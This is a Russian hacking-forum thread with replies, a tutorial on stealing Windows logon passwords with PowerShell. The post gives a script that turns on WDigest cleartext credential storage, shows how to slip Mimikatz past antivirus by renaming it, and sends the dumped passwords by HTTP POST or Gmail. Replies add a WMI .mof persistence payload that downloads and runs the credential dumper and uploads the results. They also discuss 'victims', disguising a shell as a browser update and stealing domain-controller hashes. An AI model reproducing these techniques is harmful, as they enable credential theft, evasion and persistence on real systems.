PowerShell для хакера (чать VII ) [Хищение паролей Windows с отправкой на почту]

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
123.jpg

Доброго времени суток колеги. Сегодня мы с вами посмотрим как используя возможности PowerShell можно похитить логины и пароли учетных записей пользователей Windows систем и отправить их на почту или Web сервер.
Сегодня мы с вами с помощью PowerShell :
  • Научимся изменять(создавать) и проверять наличие ключей реестра в Windows
  • Обходить Антивирусы и WindowsDefender при подгрузке mimikatz в памяти(Invoke-Mimikatz)
  • Отсылать пароли на:
    • Веб сервер
    • На почту
  • Немного вспомним материал из прошлых статей.
Я надеюсь большинство из вас наверняка слышали про замечательный продукт для тестирования безопасности Windows Систем ,который носит названия и по сегодняшний день благодарят его создателя (blog.gentilkiwi.com) Это программа используя уязвимость в WDigest.dll может получить логины и пароли в чистем виде.
3.png

Но с появлением Windows 8.1 разработчики добавили некоторую защиту,пытаясь урезать функционал WDigest ,но потом в одном из своих обновлениях все-таки вернула функционал WDigest,так как он используется во многих продуктах(Например ) И возможность получить пароли в открытом виде существует и по сегодняшний день даже в Windows 10.
Так вот первым нашим шагом будет включение возможности хранение в памяти LSA memory наших паролей в чистом виде(так как по умолчанию эта возможность выключена)
Делается это очень просто, нужно всего лишь создать ключ реестра с именем UseLogonCredential со значением 1 по следующему пути:
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)
Давайте научимся делать изменение в реестре с помощью PowerShell:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredential -Type DWORD -Value 1
1.PNG
2.PNG


Почему с помощью PowerShell? Все просто) Я буду размещать набор команд на PowerShell в отдельном файле(скрипте) где то на гитхабе , и одной командой буду просто подгружать этот скрипт)
Сперва в этот скрипте я сделаю маленькую проверку на наличие нужного мне ключа в реестре,и если его не будет - то он будет создаваться.


Код:
$Path="HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\"
$key = "UseLogonCredential"
Function Lsa_Hack
{
New-ItemProperty -Path $Path -Name $key -Type DWORD -Value 1
}

Function Test-RegistryValue($regkey, $name) {
    $exists = Get-ItemProperty -Path "$regkey" -Name "$name" -ErrorAction SilentlyContinue
    If (($exists -ne $null) -and ($exists.Length -ne 0)) {
        Return $true
    }
    Return $false
}

if ((Test-RegistryValue $Path $key) -eq $false ) {Lsa_Hack}
Как видите объявил две переменные, $Path путь в реестре, $key - имя ключа реестра
Две функции:
Lsa_Hack - которая создает ключ нужный для включение хранение паролей в чистом виде
Test-RegistryValue - ф-я которая проверяет наличие ключа
Затем идет простейшее условие (если ключа нету то выполни функции Lsa_Hack)
Выглядит примерно так:
7.PNG
6.PNG


И так, с первым этапом думаю более менее понятно. Переходим к следующему шагу:
Обход антивируса и WinDefender:
После появление в свет программы Mimikatz все антивирусные команды начали жестко работать с его сигнатурами, и хранить эту программу локально на компьютере очень проблемно. В результате чего автор PowerSploit создал версию Mimikatz ,который загружается в оперативной памяти(не нужно скачивать его локально) . Но в последнее время в PowerShell был встроен функционал который фильтрует такие подгрузки и распознает такие попытке как вредоносные:
3.png


Но проблема решаема. Достаточно запустить эту же команду в PowerShell меньшей версией,например вот в powershell -v 2 отработало нормально:
4.PNG

Второй способ - это просто заменить имена функций в скрипте и убрать секции комментариев и примеров в скрипте, и также разместить где то по другому адресу:
1234.PNG

В этом примере я заменил имя функции Invoke-Mimikatz на Invoke-Codeby - и никто не поругался,все отлично отработало)

6.PNG


Здесь надеюсь все понятно)
Идем дальше:
Отправка результатов команды на Веб Сервер:
Сперва давайте посмотрим как отправит POST запросы с помощью PowerShell
В этом нам поможет готовый функционал командлета
7.PNG

Как видите все просто... Теперь в переменную можно положить результат команды Invoke-Codeby:
8.PNG

Как видим нам прилетело POST запросом логин и пароль учетной записи Windows.
Если мы хотим что бы данные записывались где то в текстовый файлик на нашем веб сервере можно сделать так:
Создать какой то скрипт на PHP который будет дампить пост запросы в текстовый файл:
9.PNG

В данном примере просто пишутся все данные которые передаются пост параметром hack:
11.PNG
12.PNG

Тут я думаю все понятно) Давайте теперь отправим результат команды на почту gmail:
14.PNG
15.PNG


По итогу я положил Invoke-Codeby.ps1 в отдельный скрипт на гитхабе и собрал все команды в один скрипт:
17.PNG
16.PNG
18.PNG
19.PNG


Теперь немного вспомним мою прошлую статью и создадим вредоносную XML для незаметной подргрузки(Разместим где то на гитхабе к примеру):
20.PNG

И получаем тот же результат:
21.PNG


Всем спасибо)) Продолжение следует...

 
Последнее редактирование:
B

BaJIepraH

Годно,правда для осмысления бухенькому пришлось 4 раза перечитать и появился еще один весомый повод заглядывать периодически в реестр
 
H

Hackaton192

DarkNode, подскажи пожалуйста в каком направлении двигаться в изучении PowerShell именно с точки зрения взлома не на уровне Scriptkidies, а глобально для пост-эксплуатации при изучении крупных сетей(с захватом DC и т.д). Интересуют векторы атак,литература,стоит ли отдельно изучать powershell-администрирование? Заранее благодарю
[doublepost=1485767644,1485767427][/doublepost]Какие есть варианты доставки полезной нагрузки?которые не палятся почтовыми серверами, и не уходят в спам?Методы обфускации?
 
  • Нравится
Реакции: RooDooS
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
DarkNode, подскажи пожалуйста в каком направлении двигаться в изучении PowerShell именно с точки зрения взлома не на уровне Scriptkidies, а глобально для пост-эксплуатации при изучении крупных сетей(с захватом DC и т.д). Интересуют векторы атак,литература,стоит ли отдельно изучать powershell-администрирование? Заранее благодарю
Для постэксплуатация DC и т.д существует уже готовый фреймворк который имеет в себе очень сильный функционал,основан на модулях PowerSploit и Nishang,Mimikatz и много всяких других плюшек заточенных на пентест ActiveDirectory и постэксплуатации Windows (от 7-й версии) .Со временем я о нем начну писать,но пока доношу базовые моменты, что бы тем кто меня читает можно было легче воспринимать информацию когда будем работать с этим фреймворком.Как раз таки , что бы не было эфекта скрипткидди - я посвятил себя этому скромному циклу статей.
Что касается литературы и информации - я думаю главное определится в целях. Имхо елси ты знаешь конкретно чего хочешь - то информация сама тебя найдет;)
Какие есть варианты доставки полезной нагрузки?которые не палятся почтовыми серверами, и не уходят в спам?Методы обфускации?
Я писал об этом в одной из своеих статей
Возможно поможет.
 
H

Hackaton192

Для постэксплуатация DC и т.д существует уже готовый фреймворк который имеет в себе очень сильный функционал,основан на модулях PowerSploit и Nishang,Mimikatz и много всяких других плюшек заточенных на пентест ActiveDirectory и постэксплуатации Windows (от 7-й версии) .Со временем я о нем начну писать,но пока доношу базовые моменты, что бы тем кто меня читает можно было легче воспринимать информацию когда будем работать с этим фреймворком.Как раз таки , что бы не было эфекта скрипткидди - я посвятил себя этому скромному циклу статей.
Что касается литературы и информации - я думаю главное определится в целях. Имхо елси ты знаешь конкретно чего хочешь - то информация сама тебя найдет;)
Я писал об этом в одной из своеих статей
Возможно поможет.
Спасибо!!по поводу обхода фильтров gmail могу посоветовать компоненты activeX. Я создавал макросы при помощи них, отправку дает! как правило на корпоративные почты доходит!
По поводу PowerShell Empire солидарен,использую уже больше года, очень крутой инструмент!
 
W

waveform

Спасибо Вам! То что доктор прописал)
 
K

Kareon07

Скачал скрипт master/Exfiltration/Invoke-Mimikatz.ps1, при запуске не какой реакции, не ошибок, нечего. Что я делаю не так? :(
Если wdigest отключен скрипт не запуститься?
 
K

karlmax1

как сложно, хочу это всё реализовать, но не хватает опыта, можете прислать скрипт в лс,пожалуйста?
 
Последнее редактирование модератором:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Скачал скрипт master/Exfiltration/Invoke-Mimikatz.ps1, при запуске не какой реакции, не ошибок, нечего. Что я делаю не так? :(
Если wdigest отключен скрипт не запуститься?
Предполагаю , что у вы тестировали на Windows 7 ( Там нету Win Defender) Попробуйте выполнить те самые действия на вин8 или ин10 - там паувершелл поидеи должен поругаться...
 
K

karlmax1

Предполагаю , что у вы тестировали на Windows 7 ( Там нету Win Defender) Попробуйте выполнить те самые действия на вин8 или ин10 - там паувершелл поидеи должен поругаться...
У меня вопрос, а есть ещё методы загрузки бэкдора через ссылку?
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
У меня вопрос, а есть ещё методы загрузки бэкдора через ссылку?
SMB delivery,SMB Relay,REGSVR ,WEB DELIVERY + к тому же WEB Delivery можно использовать не только в павершел , а так же и различных языках программирования , например PHP,Python и т.д
 
  • Нравится
Реакции: 78tyn8!gert
clevergod

clevergod

Gold Team
22.04.2017
76
356
Респектище! Реально рабочий инструмент, но вот про xml с "предыдущей статьи" в мозжечек не вползает...
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Респектище! Реально рабочий инструмент, но вот про xml с "предыдущей статьи" в мозжечек не вползает...
Там если трудности с xml. Идешь в планировщик заданий(пуск->выполнить->taskschd.msc) создаешь задачу которая будет выполняться при загрузке системы.Затем там есть возможность экспортировать задачу в xml файл. Примеры можешь посмотреть и . Затем их так же можно и импортировать через консольную утилиту
Соответственно говоря я просто взял эспортированный xml файл и сделал из него шаблон ,который генерируется питоновским скриптом и изменимая часть там только команда ,в нашем случае на павершелл. Получил метерпретер мы просто выполняем загрузку xml файла и его импорт через schtasks. Xml файлы антивирусы не блочат и на выходе мы получаем успешное закрепление в системе.
Есесно вместо метерпретора мы можем средствами павершелл можем реализовать и любой другой Билл какого то трояна или rms...
 
  • Нравится
Реакции: 78tyn8!gert
clevergod

clevergod

Gold Team
22.04.2017
76
356
Там если трудности с xml....
......
Есесно вместо метерпретора мы можем средствами павершелл можем реализовать и любой другой Билл какого то трояна или rms...
ДА я догнал, просто нужно было малец поспать, сразу пришло, спасибо за ответ, слепил небольшой шелл в виде апдейта для браузера.
Насчет RMS-подобных думаю для меня лично и для других будет немного не то, он палится сейчас почти всем, тем более что у виктимов в основном динамика (хоть и дополнил скрипт выдачей внешнего айпишника), а у корпов какой-никакой фаер на выходе. Палить себя не очень то хотелось, хоть и отношусь к грею.
Я тут проэксплуатировал еще один аналог, если поможете небольшую статейку забацаем, буквально коротенькую.
PS: Да простит меня Администрация...
Заключается она в эксплуатации Managed Object Format (*.mof). Цепляется к процедурам и выполняется только после их запуска.
Сам MiMi.mof:

#PRAGMA AUTORECOVER
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "root\\cimv2";
Name = "PowerShell Filter";
Query = "Select * From __InstanceCreationEvent WITHIN 2 "
"Where TargetInstance ISA \"Win32_Process\" "
"And Targetinstance.Name = \"explorer.exe\" ";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $Consumer
{
Name = "PowerShell Helper";

CommandLineTemplate="cmd /C powershell.exe -NoP -Nonl -W Hidden -Exec Bypass -Command \"New-Itemproperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -name UseLogonCredential -Value 1 -PropertyType DWORD -Force; IEX (New-Object Net.WebClient).DownloadString(''); $CodebyInfo=invoke-Codeby; $wc=new-object System.Net.webclient; $wc.UploadString('c:\', $CodebyInfo)";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter =$EventFilter;
};

Можно к нему закрутить еще время в тему и ip с городом:
$pc = $env:computername
$ip = Invoke-RestMethod | Select -exp ip
$city = Invoke-RestMethod | Select -exp city
$country = Invoke-RestMethod | Select -exp country
$time = Get-Date -Format 'dd.MM.yyyy(hh:mm:ss)'
$msg.Subject="$country $city $ip $pc $time"

К сожалению короткий аналог Invoke я не нашел, тем более, что на старых поверах он не цепляет, можно конечно виктима обновить за него до повера 3.0 чтобы было шоколадно...
[doublepost=1493046454,1493044907][/doublepost]А еще конечно есть идея используя это дело воспользоваться ntdsutil и ntds_decode в паре с 7za прям на DC виктимов и забрать хеши... ~800 кб чистыми или с юпииксом ~600 кб скрипт и L0pht даст счастье...
 
  • Нравится
Реакции: kot-gor и <~DarkNode~>
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
ДА я догнал, просто нужно было малец поспать, сразу пришло, спасибо за ответ, слепил небольшой шелл в виде апдейта для браузера.
Насчет RMS-подобных думаю для меня лично и для других будет немного не то, он палится сейчас почти всем, тем более что у виктимов в основном динамика (хоть и дополнил скрипт выдачей внешнего айпишника), а у корпов какой-никакой фаер на выходе. Палить себя не очень то хотелось, хоть и отношусь к грею.
Я тут проэксплуатировал еще один аналог, если поможете небольшую статейку забацаем, буквально коротенькую.
PS: Да простит меня Администрация...
Заключается она в эксплуатации Managed Object Format (*.mof). Цепляется к процедурам и выполняется только после их запуска.
Сам MiMi.mof:
***Скрытый текст***
Можно к нему закрутить еще время в тему и ip с городом:
$pc = $env:computername
$ip = Invoke-RestMethod | Select -exp ip
$city = Invoke-RestMethod | Select -exp city
$country = Invoke-RestMethod | Select -exp country
$time = Get-Date -Format 'dd.MM.yyyy(hh:mm:ss)'
$msg.Subject="$country $city $ip $pc $time"

К сожалению короткий аналог Invoke я не нашел, тем более, что на старых поверах он не цепляет, можно конечно виктима обновить за него до повера 3.0 чтобы было шоколадно...
[doublepost=1493046454,1493044907][/doublepost]А еще конечно есть идея используя это дело воспользоваться ntdsutil и ntds_decode в паре с 7za прям на DC виктимов и забрать хеши... ~800 кб чистыми или с юпииксом ~600 кб скрипт и L0pht даст счастье...
Собирался про MoF так же писать))) Но пока в командировке)

Пока не написал ,дополню твой ответ по моф-у:
В твоем случае хендлер работает на открытие процесс explorer.exe что стартует при старте ОС в большинстве случаев ( ну бывает в игровых клубах его заменяют RunPad Shell к примеру но не суть...)
Играя с моф-ом можно так же установить хендлер на закрытие процесс

"SELECT * FROM __InstanceCreationEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";


Если нужно интервальный хендлер (циклично через необходимый промежуток времени) выглядит примерно так
"Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 "

Более подробно про технику моф+powershell описал один колега в 2014 году в этом посте:
[HIDE="2"]



Соответственно можно накидать простейший скрипт на питоне который считает пользовательский ввод на выбор хендлер и за основу возьмет готовый шаблон по тому же принципу что и с xml.
[doublepost=1493183589][/doublepost]Вернее на закрытие процесса хендлер выглядит так:
"SELECT * FROM __InstanceDeletionEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"powershell.exe\" ";
 
  • Нравится
Реакции: Vertigo и The Codeby
clevergod

clevergod

Gold Team
22.04.2017
76
356
Посоветуйте что-нибудь интересное по повышению прав
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Посоветуйте что-нибудь интересное по повышению прав
Скоро сделаю обзор утилиты
,за основу будет взята .
Да и вообще там на этом блоге 12 статей по эскалации:
 
  • Нравится
Реакции: 78tyn8!gert и Juice
S

sabu

Из под юзера в Windows 7 не даст сделать такое.
New-ItemProperty : Запрошенный доступ к реестру запрещен.

Как можно получить доступ к реестру в таком случае?

PS C:\Users\zzz> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogo
Credential -Type DWORD -Value 1
New-ItemProperty : Запрошенный доступ к реестру запрещен.
строка:1 знак:17
+ New-ItemProperty <<<< -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredenti
al -Type DWORD -Value 1
+ CategoryInfo : PermissionDenied: (HKEY_LOCAL_MACH...viders\WDigest\:String) [New-ItemProperty], Securit
yException
+ FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.NewItemPropertyCommand
 
Мы в соцсетях: